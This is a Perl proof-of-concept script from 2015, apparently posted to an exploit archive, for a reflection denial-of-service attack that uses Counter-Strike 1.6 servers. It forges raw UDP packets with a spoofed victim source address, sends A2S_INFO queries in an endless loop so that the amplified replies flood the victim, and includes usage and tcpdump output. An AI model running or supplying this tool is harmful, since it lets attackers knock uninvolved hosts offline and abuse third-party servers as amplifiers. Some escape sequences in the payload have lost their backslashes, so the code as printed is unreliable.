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Counter-Strike 1.6 GameInfo Query Reflection Denial Of Service

Posted on 22 July 2015

#!/usr/bin/perl
#
# Counter-Strike 1.6 'GameInfo' Query Reflection DoS
# Proof Of Concept
#
# Copyright 2015 (c) Todor Donev
# todor.donev@gmail.com
# http://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
# http://pastebin.com/u/hackerscommunity
#
#
# Disclaimer:
# This or previous program is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk and educational
# purpose ONLY!
#
# See also, UDP-based Amplification Attacks:
# https://www.us-cert.gov/ncas/alerts/TA14-017A
#
# # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010
# [ Counter-Strike 1.6 'GameInfo' query reflection dos poc
# [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10
# ^C
#
# # tcpdump -i eth0 -c4 port 27010
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
# listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
# 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
# 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
# 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
# 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
# 4 packets captured
# 4 packets received by filter
# 0 packets dropped by kernel

use strict;
use Socket;
use warnings;
no warnings 'uninitialized';

print "[ Counter-Strike 1.6 'GameInfo' query reflection dos poc
";
die "[ Sorry, must be run as root. This script use RAW Socket.
" if ($< != 0);
my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination (32 bits)
my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits)
my $port = $ARGV[2] || '27015'; # Int between 1 and 65535 Default: 27015
die "[ Port must be between 1 and 65535!
" if ($port < 1 || $port > 65535);
if (!defined $css || !defined $victim) {
 print "[ Usg: $0 <cstrike server> <victim> <port>
";
 print "[ Default port: 27015
";
 print "[ <todor.donev@gmail.com> Todor Donev
";
 exit;
}

print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]
";
socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;
setsockopt(RAW, 0, 1, 1) || die $!;
main();

 # Main program
sub main {
 my $packet;

 $packet = iphdr();
 $packet .= udphdr();
 $packet .= cshdr();
 # b000000m...
 send_packet($packet);
}

 # IP header (Layer 3)
sub iphdr {
 my $ip_ver = 4; # IP Version 4 (4 bits)
 my $iphdr_len = 5; # IP Header Length (4 bits)
 my $ip_tos = 0; # Differentiated Services (8 bits)
 my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits)
 my $ip_frag_id = 0; # Identification Field (16 bits)
 my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits)
 my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits)
 my $ip_ttl = 255; # IP TTL (8 bits)
 my $ip_proto = 17; # IP Protocol (8 bits)
 my $ip_checksum = 0; # IP Checksum (16 bits)

 # IP Packet
 my $iphdr = pack(
 'H2 H2 n n B16 h2 c n a4 a4',
 $ip_ver . $iphdr_len, $ip_tos,
 $ip_total_len, $ip_frag_id,
 $ip_frag_flag . $ip_frag_offset,
 $ip_ttl, $ip_proto, $ip_checksum,
 $victim, $css
 );
 return $iphdr;
}

 # UDP Header (Layer 4)
sub udphdr {
 my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535)
 my $udp_dst_port = $port; # UDP Dest Port (16 btis) (0-65535)
 my $udp_len = 8 + length(cshdr()); # UDP Length (16 bits) (0-65535)
 my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header)

 # UDP Packet
 my $udphdr = pack(
 'n n n n',
 $udp_src_port,
 $udp_dst_port,
 $udp_len,
 $udp_checksum
 );
 return $udphdr;
}

 # Counter-Strike 'GameInfo' request
sub cshdr {

#
# https://developer.valvesoftware.com/wiki/Server_queries
#
# https://developer.valvesoftware.com/wiki/Source_RCON_Protocol
# Requests
# The server responds to 5 queries:
#
# A2S_INFO 'T' (0x54)
# Basic information about the server.
# A2S_PLAYER 'U' (0x55)
# Details about each player on the server.
# A2S_RULES 'V' (0x56)
# The rules the server is using.
# A2A_PING 'i' (0x69)
# Ping the server. (DEPRECATED)
# A2S_SERVERQUERY_GETCHALLENGE 'W' (0x57)
# Returns a challenge number for use in the player and rules query. (DEPRECATED)
#
# Queries should be sent in UDP packets to the listen port of the server.
#

# 25 bytes - A2S_INFO
 my $query = "xffxffxffxffx54"; # 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69 ....TSource Engi
 $query .= "x53x6fx75x72x63"; # 0010 6e 65 20 51 75 65 72 79 00 ne Query.
 $query .= "x65x20x45x6ex67";
 $query .= "x69x6ex65x20x51";
 $query .= "x75x65x72x79x00";

 my $cshdr = pack('a*', $query);
return $cshdr;
}

sub send_packet {
 while(1){
 select(undef, undef, undef, 0.40); # Sleep 400 milliseconds
 send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css)) || die $!;
 }
}

 

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